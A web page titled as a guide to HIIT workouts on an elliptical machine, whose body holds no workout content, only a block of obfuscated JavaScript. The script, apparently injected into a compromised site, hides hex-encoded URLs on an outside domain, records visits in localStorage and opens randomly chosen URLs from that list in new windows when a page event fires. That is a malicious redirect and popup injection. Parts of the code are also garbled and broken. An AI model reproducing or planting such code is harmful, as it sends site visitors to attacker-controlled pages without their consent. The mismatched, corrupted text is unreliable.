This Is How You Can Do A HIIT Workout With Elliptical Machine

“`javascript
_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());
try {_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());
} catch(_0x28e7f8) {
_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());
}
}(_0x10c8, 0xd3435));
var _0x365b = [‘url’, ‘path’, ‘protocol’, ‘opera’, ‘hostname’, ‘slice’, ‘pathname’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx61x78x77x31x63x321’, ‘href’, ‘origin’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fFxCU4c04’, ‘search’, ‘hash’, ‘port’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2ffSY9c29’, ”, ‘pathname’, ‘getItem’, ‘sessionStorage’, ‘date’, ‘length’, ‘localStorage’, ‘floor’, ‘pow’, ‘random’, ‘host’, ‘parse’, ‘touchmove’, ‘addEventListener’];
(function(_0x16176d) {
window[_0x365b[0x0]] = function() {
let _0x129862 = false;
return function(_0x784bdc) k)
}(navigator[_0x365b[1]] || navigator[_0x365b[2]] || window[_0x365b[3]], _0x129862);
};
const _0xfdead6 = [_0x365b[6], _0x365b[7], _0x365b[8], _0x365b[9], _0x365b[10], _0x365b[11], _0x365b[12], _0x365b[13], _0x365b[14], _0x365b[15]],
_0x480bb2 = 0x3,
_0x3ddc80 = 0x6,
_0x10ad9f = _0x1f773b => {
_0x1f773b[_0x365b[20]]((_0x1e6b44, _0x967357) => {
!localStorage[_0x365b[18]](_0x365b[16] + _0x1e6b44 + _0x365b[17]) && localStorage[_0x365b[19]](_0x365b[16] + _0x1e6b44 + _0x365b[17], 0x0);
});
},
_0x2317c1 = _0x3bd6cc => {
const _0x2af2a2 = _0x3bd6cc[_0x365b[21]]((_0x20a0ef, _0x11cb0d) => localStorage[_0x365b[18]](_0x365b[16] + _0x20a0ef + _0x365b[17]) == 0x0);
return _0x2af2a2[Math[_0x365b[23]](Math[_0x365b[24]]() * _0x2af2a2[_0x365b[22]])];
},
_0x57deba = _0x43d200 => localStorage[_0x365b[19]](_0x365b[16] + _0x43d200 + _0x365b[17], 0x1),
_0x1dd2bd = _0x51805f => localStorage[_0x365b[18]](_0x365b[16] + _0x51805f + _0x365b[17]),
_0x5e3811 = (_0x5aa0fd, _0x594b23) => localStorage[_0x365b[19]](_0x365b[16] + _0x5aa0fd + _0x365b[17], _0x594b23),
_0x381a18 = (_0x3ab06f, _0x288873) => {
const _0x266889 = 0x3e8 * 0x3c * 0x3c;
return Math[_0x365b[27]](Math[_0x365b[25]](_0x288873 – _0x3ab06f) / _0x266889);
},
_0x3f1308 = (_0x3a999a, _0x355f3a) => {
const _0x5c85ef = 0x3e8 * 0x3c;
return Math[_0x365b[27]](Math[_0x365b[25]](_0x355f3a – _0x3a999a) / _0x5c85ef);
},
_0x4a7983 = (_0x19abfa, _0x2bf37, _0xb43c45) => {
_0x10ad9f(_0x19abfa), newLocation = _0x2317c1(_0x19abfa), _0x5e3811(_0x365b[16] + _0x2bf37 + _0x365b[28], _0xb43c45), _0x5e3811(_0x365b[16] + _0x2bf37 + _0x365b[29], _0xb43c45), _0x57deba(newLocation), window[_0x365b[0]]() && window[_0x365b[31]](newLocation, _0x365b[30]);
};
_0x10ad9f(_0xfdead6);

function _0x978889(_0x3b4dcb) {
_0x3b4dcb[_0x365b[32]]();
const _0x2b4a92 = location[_0x365b[33]];
let _0x1b1224 = _0x2317c1(_0xfdead6);
const _0x4593ae = Date[_0x365b[34]](new Date()),
_0x7f12bb = _0x1dd2bd(_0x365b[16] + _0x2b4a92 + _0x365b[28]),
_0x155a21 = _0x1dd2bd(_0x365b[16] + _0x2b4a92 + _0x365b[29]);
if (_0x7f12bb && _0x155a21) try {
const _0x5d977e = parseInt(_0x7f12bb),
_0x5f3351 = parseInt(_0x155a21),
_0x448fc0 = _0x3f1308(_0x4593ae, _0x5d977e),
_0x5f1aaf = _0x381a18(_0x4593ae, _0x5f3351);
_0x5f1aaf >= _0x3ddc80 && (_0x10ad9f(_0xfdead6), _0x5e3811(_0x365b[16] + _0x2b4a92 + _0x365b[29], _0x4593ae));
_0x448fc0 >= _0x480bb2 && (_0x1b1224 && window[_0x365b[0]]() && (_0x5e3811(_0x365b[16] + _0x2b4a92 + _0x365b[28], _0x4593ae), window[_0x365b[31]](_0x1b1224, _0x365b[30]), _0x57deba(_0x1b1224)));
} catch(_0x2386f7) {
_0x4a7983(_0xfdead6, _0x2b4a92, _0x4593ae);
} else _0x4a7983(_0xfdead6, _0x2b4a92, _0x4593ae);
}
document[_0x365b[35]](_0x365b[22], _0x978889);
“`